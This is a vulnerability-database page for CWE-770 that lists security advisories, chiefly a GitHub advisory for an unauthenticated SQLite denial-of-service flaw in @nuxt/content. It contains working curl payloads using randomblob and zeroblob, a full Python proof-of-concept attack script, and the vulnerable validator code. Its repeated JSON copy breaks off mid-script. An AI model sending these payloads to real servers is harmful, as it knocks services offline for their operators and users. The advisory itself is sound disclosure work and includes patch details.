Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

4513 vulnerabilities reference this CWE, most recent first.

GHSA-XXQJ-X2PV-X5JJ

Vulnerability from github – Published: 2024-07-03 18:48 – Updated: 2024-07-05 18:34
VLAI
Details

Uncontrolled Resource Consumption vulnerability in MESbook 20221021.03 version. An unauthenticated remote attacker can use the "message" parameter to inject a payload with dangerous JavaScript code, causing the application to loop requests on itself, which could lead to resource consumption and disable the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-03T12:15:03Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled Resource Consumption vulnerability in MESbook\u00a020221021.03 version. An unauthenticated remote attacker can use the \"message\" parameter to inject a payload with dangerous JavaScript code, causing the application to loop requests on itself, which could lead to resource consumption and disable the application.",
  "id": "GHSA-xxqj-x2pv-x5jj",
  "modified": "2024-07-05T18:34:17Z",
  "published": "2024-07-03T18:48:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6427"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-mesbook"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXRH-5HGG-GJ4H

Vulnerability from github – Published: 2026-11-10 15:57 – Updated: 2026-11-10 15:57
VLAI
Summary
Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
Details

Summary

The POST /__nuxt_content/:collection/query endpoint in @nuxt/content accepts an attacker-controlled sql field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (assertSafeQuery). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.

Details

The vulnerability spans three source files:

Route registration — src/module.ts:207-208

The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:

// src/module.ts:207-208
addServerHandler({
  route: `/__nuxt_content/${collection.name}/query`,
  handler: resolver.resolve('./runtime/api/query.post'),
})

No authentication middleware is attached; the route is reachable by any client.

Source (attacker input) — src/runtime/api/query.post.ts:7-9

// src/runtime/api/query.post.ts
const { sql } = await readBody(event)          // line 8  — attacker-controlled
assertSafeQuery(sql, collection)               // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql)      // line 18 — raw sql passed to sink

Inadequate sanitizer — src/runtime/internal/security.ts:55-63

if (where) {
  const noString = cleanupQuery(where, { removeString: true })
  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
    throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
  }
  // No rejection of function calls (randomblob, zeroblob, hex, length, …)
}

The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (randomblob, zeroblob, hex, length) are not keywords matched by the regex and therefore pass validation unconditionally.

Sink — src/runtime/internal/database.server.ts:26-28

all: async (sql, params = []) => {
  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql
}

better-sqlite3's prepare().all() is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.

Attack chain summary:

Attacker HTTP POST (sql field)
  → query.post.ts readBody()          [source]
  → assertSafeQuery() — BYPASS        [insufficient validation]
  → loadDatabaseAdapter().all(sql)    [propagation]
  → db.prepare(sql).all()             [sink — synchronous, blocks event loop]

PoC

Environment setup

git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000

Step 1 — Establish baseline (safe query)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s

Step 2 — Attack payload (randomblob variant)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)

The payload passes assertSafeQuery() because the WHERE clause contains no blocked keywords. SQLite then: 1. Allocates 200 MB of random bytes via randomblob(200000000) 2. Hex-encodes the result to a 400 MB ASCII string via hex() 3. Computes the string length via length()

Step 3 — Zeroblob variant (allocation-focused)

--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination

Automated PoC (Docker)

# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
  reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest

# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000

Dynamic reproduction result (phase2):

Metric Value
Baseline response time 0.0088 s
Attack response time 11.82 s
Slowdown ratio 1339×
HTTP status for attack 200 (not rejected)

The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.

Proposed patch — src/runtime/internal/security.ts

 const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])

     const noString = cleanupQuery(where, { removeString: true })
     if (noString.match(SQL_COMMANDS)) {
       throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
     }
+    const tokens = noString.match(/[A-Z_]\w*/gi) || []
+    if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+      throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+    }
   }

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible @nuxt/content application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at POST /__nuxt_content/<collection>/query.

Because better-sqlite3 executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large randomblob() argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.

Impact scope: - Confidentiality: None — the attack does not exfiltrate data - Integrity: None — no data modification - Availability: High — complete service disruption for unauthenticated attackers with network access

All users of publicly deployed @nuxt/content v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.

Reproduction artifacts

Dockerfile

# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
#   docker build -f vuln-001/Dockerfile -t vuln001:latest .

FROM node:20-alpine

# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++

WORKDIR /app

# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts    /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts

# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js

# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install better-sqlite3@12.5.0

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API

Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().

Attack payload: SELECT * FROM _content_content
                WHERE (length(hex(randomblob(100000000))) > 0)
                ORDER BY stem ASC LIMIT 1

This forces SQLite to:
  1. Allocate 100 MB of random bytes via randomblob(100000000)
  2. Hex-encode the result to a 200 MB ASCII string via hex()
  3. Compute the string length via length()

The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.

Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source:   src/runtime/internal/security.ts:55-63
          src/runtime/api/query.post.ts:8,11,18
          src/runtime/internal/database.server.ts:27
CVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.request

DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000

# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5

# SQL payloads
SAFE_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (id = '1') "
    "ORDER BY stem ASC LIMIT 1"
)

# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...)               -> 200 MB hex string
# length(...)            -> string length computation
MALICIOUS_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (length(hex(randomblob(100000000))) > 0) "
    "ORDER BY stem ASC LIMIT 1"
)

# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (zeroblob(500000000) IS NOT NULL) "
    "ORDER BY stem ASC LIMIT 1"
)


def post_query(host, port, sql, timeout=120):
    """Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
    payload = json.dumps({"sql": sql}).encode("utf-8")
    req = urllib.request.Request(
        f"http://{host}:{port}/__nuxt_content/content/query",
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    t0 = time.monotonic()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            elapsed = time.monotonic() - t0
            body = resp.read().decode("utf-8")
            return resp.status, elapsed, body
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t0
        body = e.read().decode("utf-8")
        return e.code, elapsed, body
    except Exception as e:
        elapsed = time.monotonic() - t0
        return None, elapsed, str(e)


def wait_for_server(host, port, retries=30, delay=1.0):
    """Poll until the server responds or timeout."""
    print(f"[*] Waiting for server at {host}:{port} ...")
    for attempt in range(1, retries + 1):
        try:
            urllib.request.urlopen(
                f"http://{host}:{port}/", timeout=2
            )
        except urllib.error.HTTPError:
            # Any HTTP response (including 404) means the server is up
            print(f"[+] Server is ready (attempt {attempt})")
            return True
        except Exception:
            pass
        time.sleep(delay)
    print(f"[!] Server did not become ready after {retries} attempts")
    return False


def main():
    parser = argparse.ArgumentParser(
        description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
    )
    parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
    parser.add_argument(
        "--no-wait",
        action="store_true",
        help="Skip server readiness check (useful when server is already running)",
    )
    args = parser.parse_args()

    host, port = args.host, args.port

    print("=" * 70)
    print("VULN-001: Unauthenticated SQLite Function DoS")
    print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
    print("=" * 70)

    if not args.no_wait:
        if not wait_for_server(host, port):
            sys.exit(2)

    # ------------------------------------------------------------------
    # Step 1: Safe baseline query — validates endpoint is reachable
    # ------------------------------------------------------------------
    print()
    print("[STEP 1] Baseline safe query")
    print(f"  SQL: {SAFE_SQL}")
    status1, t1, body1 = post_query(host, port, SAFE_SQL)
    print(f"  Status: {status1}   Time: {t1:.4f}s")
    if status1 == 200:
        rows1 = json.loads(body1)
        print(f"  Rows returned: {len(rows1)}")
    else:
        print(f"  Response: {body1[:200]}")

    # ------------------------------------------------------------------
    # Step 2: Malicious payload — SQLite function DoS
    # ------------------------------------------------------------------
    print()
    print("[STEP 2] Malicious SQLite function payload")
    print(f"  SQL: {MALICIOUS_SQL}")
    print("  Explanation:")
    print("    randomblob(100000000) -> allocates 100 MB of random bytes")
    print("    hex(...)              -> encodes to 200 MB ASCII string")
    print("    length(...)           -> forces full evaluation before comparison")
    print("    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
    print("    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
    print()
    print("  Sending request ...")
    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
    print(f"  Status: {status2}   Time: {t2:.4f}s")
    if status2 == 200:
        rows2 = json.loads(body2)
        print(f"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)")
    else:
        print(f"  Response: {body2[:200]}")

    # ------------------------------------------------------------------
    # Step 3: Report
    # ------------------------------------------------------------------
    print()
    print("[RESULT]")
    print(f"  Baseline time  : {t1:.4f}s")
    print(f"  Attack time    : {t2:.4f}s")
    ratio = (t2 / t1) if t1 > 0 else float("inf")
    print(f"  Slowdown ratio : {ratio:.1f}x")
    print()

    accepted = status2 == 200
    slow_enough = t2 >= ATTACK_MIN_SECONDS

    if accepted and slow_enough:
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
        print(f"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
        print(f"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
        print(f"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
        sys.exit(0)
    elif accepted and not slow_enough:
        print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
        print(f"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
        print("  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
        sys.exit(1)
    else:
        print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
        print(f"  Response body: {body2[:300]}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Affected versions

All @nuxt/content v3 releases before 3.15.2 are affected (>= 3.0.0, < 3.15.2). The report was reproduced against 3.15.1, but the same WHERE clause validation gap exists in every earlier v3 release; 3.0.0 performed no query validation at all.

Fully static (prerendered, no server) deployments are not affected.

Patches

Fixed in 3.15.2 (#3819): function calls are rejected in query WHERE clauses. Subsequent releases harden validation further — 3.16.1 removes a ReDoS in assertSafeQuery (#3851) and 3.16.2 only accepts WHERE clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (>= 3.16.2) is recommended.

Workarounds

If you cannot upgrade, block or restrict access to POST /__nuxt_content/*/query at the proxy/WAF level, or prerender the site so the endpoint is not deployed.

Credits

Also independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/content"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T15:57:12Z",
    "nvd_published_at": "2026-11-06T18:17:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `POST /__nuxt_content/:collection/query` endpoint in `@nuxt/content` accepts an attacker-controlled `sql` field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (`assertSafeQuery`). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as `randomblob()`, `zeroblob()`, `hex()`, or `length()`. An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.\n\n### Details\n\nThe vulnerability spans three source files:\n\n**Route registration \u2014 `src/module.ts:207-208`**\n\nThe Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:\n\n```ts\n// src/module.ts:207-208\naddServerHandler({\n  route: `/__nuxt_content/${collection.name}/query`,\n  handler: resolver.resolve(\u0027./runtime/api/query.post\u0027),\n})\n```\n\nNo authentication middleware is attached; the route is reachable by any client.\n\n**Source (attacker input) \u2014 `src/runtime/api/query.post.ts:7-9`**\n\n```ts\n// src/runtime/api/query.post.ts\nconst { sql } = await readBody(event)          // line 8  \u2014 attacker-controlled\nassertSafeQuery(sql, collection)               // line 11 \u2014 insufficient validation\nreturn loadDatabaseAdapter(conf).all(sql)      // line 18 \u2014 raw sql passed to sink\n```\n\n**Inadequate sanitizer \u2014 `src/runtime/internal/security.ts:55-63`**\n\n```ts\nif (where) {\n  const noString = cleanupQuery(where, { removeString: true })\n  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\\$/i\n    throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL commands\u0027)\n  }\n  // No rejection of function calls (randomblob, zeroblob, hex, length, \u2026)\n}\n```\n\nThe denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (`randomblob`, `zeroblob`, `hex`, `length`) are not keywords matched by the regex and therefore pass validation unconditionally.\n\n**Sink \u2014 `src/runtime/internal/database.server.ts:26-28`**\n\n```ts\nall: async (sql, params = []) =\u003e {\n  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql\n}\n```\n\n`better-sqlite3`\u0027s `prepare().all()` is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.\n\n**Attack chain summary:**\n\n```\nAttacker HTTP POST (sql field)\n  \u2192 query.post.ts readBody()          [source]\n  \u2192 assertSafeQuery() \u2014 BYPASS        [insufficient validation]\n  \u2192 loadDatabaseAdapter().all(sql)    [propagation]\n  \u2192 db.prepare(sql).all()             [sink \u2014 synchronous, blocks event loop]\n```\n\n### PoC\n\n**Environment setup**\n\n```bash\ngit clone https://github.com/nuxt/content.git\ncd content\ngit checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e\npnpm install\npnpm dev:prepare\ncd test/fixtures/basic\npnpm dev --host 127.0.0.1 --port 3000\n```\n\n**Step 1 \u2014 Establish baseline (safe query)**\n\n```bash\ncurl -sS -o /dev/null -w \u0027status=%{http_code} time=%{time_total}\\n\u0027 \\\n  -X POST \u0027http://127.0.0.1:3000/__nuxt_content/content/query\u0027 \\\n  -H \u0027content-type: application/json\u0027 \\\n  --data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (id = \u0027\"\u0027\"\u00271\u0027\"\u0027\"\u0027) ORDER BY stem ASC LIMIT 1\"}\u0027\n# Expected: status=200 time=~0.009s\n```\n\n**Step 2 \u2014 Attack payload (randomblob variant)**\n\n```bash\ncurl -sS -o /dev/null -w \u0027status=%{http_code} time=%{time_total}\\n\u0027 \\\n  -X POST \u0027http://127.0.0.1:3000/__nuxt_content/content/query\u0027 \\\n  -H \u0027content-type: application/json\u0027 \\\n  --data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) \u003e 0) ORDER BY stem ASC LIMIT 1\"}\u0027\n# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)\n```\n\nThe payload passes `assertSafeQuery()` because the WHERE clause contains no blocked keywords. SQLite then:\n1. Allocates 200 MB of random bytes via `randomblob(200000000)`\n2. Hex-encodes the result to a 400 MB ASCII string via `hex()`\n3. Computes the string length via `length()`\n\n**Step 3 \u2014 Zeroblob variant (allocation-focused)**\n\n```bash\n--data \u0027{\"sql\":\"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1\"}\u0027\n# 1 GB allocation; may trigger OOM termination\n```\n\n**Automated PoC (Docker)**\n\n```bash\n# Build and run the reproduction container\ndocker build -f vuln-001/Dockerfile -t vuln001:latest \\\n  reports/github_web_211_nuxt__content\ndocker run -d -p 3000:3000 --name vuln001-container vuln001:latest\n\n# Run the PoC script (requires Python 3, no third-party packages)\npython3 vuln-001/poc.py --host 127.0.0.1 --port 3000\n```\n\n**Dynamic reproduction result (phase2):**\n\n| Metric | Value |\n|---|---|\n| Baseline response time | 0.0088 s |\n| Attack response time | 11.82 s |\n| Slowdown ratio | **1339\u00d7** |\n| HTTP status for attack | 200 (not rejected) |\n\nThe Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.\n\n**Proposed patch \u2014 `src/runtime/internal/security.ts`**\n\n```diff\n const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\\$/i\n+const SQL_WHERE_ALLOWED_TOKENS = new Set([\u0027AND\u0027, \u0027OR\u0027, \u0027IN\u0027, \u0027NOT\u0027, \u0027BETWEEN\u0027, \u0027LIKE\u0027, \u0027IS\u0027, \u0027NULL\u0027])\n \n     const noString = cleanupQuery(where, { removeString: true })\n     if (noString.match(SQL_COMMANDS)) {\n       throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL commands\u0027)\n     }\n+    const tokens = noString.match(/[A-Z_]\\w*/gi) || []\n+    if (tokens.some(token =\u003e !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {\n+      throw new Error(\u0027Invalid query: WHERE clause contains unsafe SQL expressions\u0027)\n+    }\n   }\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible `@nuxt/content` application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at `POST /__nuxt_content/\u003ccollection\u003e/query`.\n\nBecause `better-sqlite3` executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large `randomblob()` argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.\n\nImpact scope:\n- **Confidentiality:** None \u2014 the attack does not exfiltrate data\n- **Integrity:** None \u2014 no data modification\n- **Availability:** High \u2014 complete service disruption for unauthenticated attackers with network access\n\nAll users of publicly deployed `@nuxt/content` v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API\n# Affects: @nuxt/content v3.15.1 (commit d8fed0c)\n#\n# Build context must be the parent directory (github_web_211_nuxt__content/):\n#   docker build -f vuln-001/Dockerfile -t vuln001:latest .\n\nFROM node:20-alpine\n\n# Install build tools required for better-sqlite3 native compilation\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Copy the vulnerable source files from the repo for audit reference\n# These are the exact files that contain the vulnerable code paths\nCOPY repo/src/runtime/internal/security.ts    /app/reference/security.ts\nCOPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts\nCOPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts\n\n# Copy the minimal reproduction server (JavaScript translation of the above)\nCOPY vuln-001/server.js /app/server.js\n\n# Install Node.js dependencies\n# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter\nRUN npm init -y \u0026\u0026 npm install better-sqlite3@12.5.0\n\nEXPOSE 3000\n\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: VULN-001 \u2014 Unauthenticated SQLite Function DoS via @nuxt/content Content Query API\n\nVulnerability: The POST /__nuxt_content/:collection/query endpoint reads an\nattacker-supplied \u0027sql\u0027 field from the request body, passes it through\nassertSafeQuery() in security.ts, then executes it via better-sqlite3.\nassertSafeQuery() only rejects certain SQL command keywords\n(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite\nbuilt-in functions such as randomblob(), zeroblob(), hex(), or length().\n\nAttack payload: SELECT * FROM _content_content\n                WHERE (length(hex(randomblob(100000000))) \u003e 0)\n                ORDER BY stem ASC LIMIT 1\n\nThis forces SQLite to:\n  1. Allocate 100 MB of random bytes via randomblob(100000000)\n  2. Hex-encode the result to a 200 MB ASCII string via hex()\n  3. Compute the string length via length()\n\nThe request blocks the server thread for several seconds per request.\nRepeated unauthenticated requests exhaust CPU and memory, causing DoS.\n\nAffected: @nuxt/content v3.15.1 (commit d8fed0c)\nSource:   src/runtime/internal/security.ts:55-63\n          src/runtime/api/query.post.ts:8,11,18\n          src/runtime/internal/database.server.ts:27\nCVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nDEFAULT_HOST = \u0027127.0.0.1\u0027\nDEFAULT_PORT = 3000\n\n# Time threshold: attack must be at least this many seconds slower than baseline\nATTACK_MIN_SECONDS = 0.5\n\n# SQL payloads\nSAFE_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (id = \u00271\u0027) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.\n# randomblob(100_000_000) -\u003e 100 MB allocation\n# hex(...)               -\u003e 200 MB hex string\n# length(...)            -\u003e string length computation\nMALICIOUS_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (length(hex(randomblob(100000000))) \u003e 0) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n# Zeroblob variant (allocation-focused, less CPU than hex):\nZEROBLOB_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (zeroblob(500000000) IS NOT NULL) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n\ndef post_query(host, port, sql, timeout=120):\n    \"\"\"Send POST /__nuxt_content/content/query and return (status, elapsed, body).\"\"\"\n    payload = json.dumps({\"sql\": sql}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"http://{host}:{port}/__nuxt_content/content/query\",\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    t0 = time.monotonic()\n    try:\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            elapsed = time.monotonic() - t0\n            body = resp.read().decode(\"utf-8\")\n            return resp.status, elapsed, body\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t0\n        body = e.read().decode(\"utf-8\")\n        return e.code, elapsed, body\n    except Exception as e:\n        elapsed = time.monotonic() - t0\n        return None, elapsed, str(e)\n\n\ndef wait_for_server(host, port, retries=30, delay=1.0):\n    \"\"\"Poll until the server responds or timeout.\"\"\"\n    print(f\"[*] Waiting for server at {host}:{port} ...\")\n    for attempt in range(1, retries + 1):\n        try:\n            urllib.request.urlopen(\n                f\"http://{host}:{port}/\", timeout=2\n            )\n        except urllib.error.HTTPError:\n            # Any HTTP response (including 404) means the server is up\n            print(f\"[+] Server is ready (attempt {attempt})\")\n            return True\n        except Exception:\n            pass\n        time.sleep(delay)\n    print(f\"[!] Server did not become ready after {retries} attempts\")\n    return False\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"VULN-001 PoC: SQLite Function DoS via @nuxt/content query API\"\n    )\n    parser.add_argument(\"--host\", default=DEFAULT_HOST, help=\"Target host (default: 127.0.0.1)\")\n    parser.add_argument(\"--port\", type=int, default=DEFAULT_PORT, help=\"Target port (default: 3000)\")\n    parser.add_argument(\n        \"--no-wait\",\n        action=\"store_true\",\n        help=\"Skip server readiness check (useful when server is already running)\",\n    )\n    args = parser.parse_args()\n\n    host, port = args.host, args.port\n\n    print(\"=\" * 70)\n    print(\"VULN-001: Unauthenticated SQLite Function DoS\")\n    print(\"Target: @nuxt/content v3.15.1 \u2014 POST /__nuxt_content/:collection/query\")\n    print(\"=\" * 70)\n\n    if not args.no_wait:\n        if not wait_for_server(host, port):\n            sys.exit(2)\n\n    # ------------------------------------------------------------------\n    # Step 1: Safe baseline query \u2014 validates endpoint is reachable\n    # ------------------------------------------------------------------\n    print()\n    print(\"[STEP 1] Baseline safe query\")\n    print(f\"  SQL: {SAFE_SQL}\")\n    status1, t1, body1 = post_query(host, port, SAFE_SQL)\n    print(f\"  Status: {status1}   Time: {t1:.4f}s\")\n    if status1 == 200:\n        rows1 = json.loads(body1)\n        print(f\"  Rows returned: {len(rows1)}\")\n    else:\n        print(f\"  Response: {body1[:200]}\")\n\n    # ------------------------------------------------------------------\n    # Step 2: Malicious payload \u2014 SQLite function DoS\n    # ------------------------------------------------------------------\n    print()\n    print(\"[STEP 2] Malicious SQLite function payload\")\n    print(f\"  SQL: {MALICIOUS_SQL}\")\n    print(\"  Explanation:\")\n    print(\"    randomblob(100000000) -\u003e allocates 100 MB of random bytes\")\n    print(\"    hex(...)              -\u003e encodes to 200 MB ASCII string\")\n    print(\"    length(...)           -\u003e forces full evaluation before 